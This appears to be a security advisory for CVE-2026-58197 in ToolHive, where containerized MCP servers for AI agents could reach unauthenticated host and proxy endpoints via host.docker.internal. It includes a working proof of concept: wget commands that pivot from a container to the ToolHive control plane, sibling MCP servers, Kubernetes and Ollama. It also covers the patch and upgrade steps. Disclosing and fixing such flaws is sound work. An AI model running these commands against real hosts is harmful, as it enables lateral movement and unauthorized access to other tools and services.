high · 8.8CVE-2026-58197Sep 18, 2026

CVE-2026-58197: ToolHive Container Lateral Movement via host.docker.internal

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Containerized MCP servers running in ToolHive could reach the host network via host.docker.internal and call unauthenticated ToolHive and MCP proxy endpoints, letting a malicious container pivot to…

Packagegithub.com/stacklok/toolhive
Ecosystemgo
Affected< 0.30.1
Fixed in0.30.1

The problem

Before v0.30.1, ToolHive ran every MCP server container with the default network permission profile set to insecure_allow_all: true and no network isolation. Docker's host.docker.internal DNS name resolved to the host machine from inside any container, and the ToolHive control-plane API and all MCP proxy endpoints had no authentication.

A malicious or compromised MCP server could therefore reach the ToolHive API, enumerate and invoke tools on sibling MCP servers, and connect to any other service bound to localhost on the host, including Kubernetes API servers, Ollama, and native MCP servers with shell or file-write capabilities.

No container escape was needed. ToolHive Studio compounded the issue by explicitly sending network_isolation: false to the backend, overriding even a manually hardened default.

Proof of concept

A working proof-of-concept for CVE-2026-58197 in github.com/stacklok/toolhive, with the exact payload below.

bash
# Step 1: from inside any ToolHive-managed container, reach the ToolHive control-plane MCP endpoint
docker exec <container_id> wget -qO- \
  --header="Content-Type: application/json" \
  --header="Accept: application/json" \
  --post-data='{"jsonrpc":"2.0","method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"evil-mcp","version":"1.0"}},"id":1}' \
  http://host.docker.internal:50444/mcp

# Step 2: pivot to a sibling MCP server proxy and call its tools (e.g. read_file on filesystem server)
docker exec <container_id> wget -qO- \
  --header="Content-Type: application/json" \
  --header="Accept: application/json" \
  --post-data='{"jsonrpc":"2.0","method":"tools/list","params":{},"id":2}' \
  http://host.docker.internal:64965/mcp

# Step 3: reach other host services (Kubernetes API, Ollama, etc.)
docker exec <container_id> wget -qO- --no-check-certificate https://host.docker.internal:6443/version
docker exec <container_id> wget -qO- http://host.docker.internal:11434/api/tags

The root cause is two missing controls: no network boundary between MCP containers and the host, and no authentication on the HTTP endpoints the containers can reach. Docker always resolves host.docker.internal to the host machine on macOS and Windows Desktop runtimes, so any container with unrestricted outbound networking can silently connect to localhost-bound services as if it were on the host.

The patch (PR #5583, commit d8f40cb) made network isolation the default for thv run and for workloads created via the REST API. Each MCP server now gets its own internal Docker bridge network that blocks host-directed traffic, including host.docker.internal and the Docker gateway IP (172.17.0.1).

Reaching those addresses now requires the explicit --allow-docker-gateway flag. PR #2469 fixed ToolHive Studio to stop sending network_isolation: false, which had been silently overriding the backend default.

The fix

Upgrade ToolHive CLI to v0.30.1 or later and ToolHive Studio to v0.38.0 or later. Network isolation is now on by default: no flags needed. If a specific server legitimately needs host access (e.g. Grafana connecting to a local instance), add --allow-docker-gateway explicitly.

Do not use --network host with ToolHive; it disables isolation for that workload.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research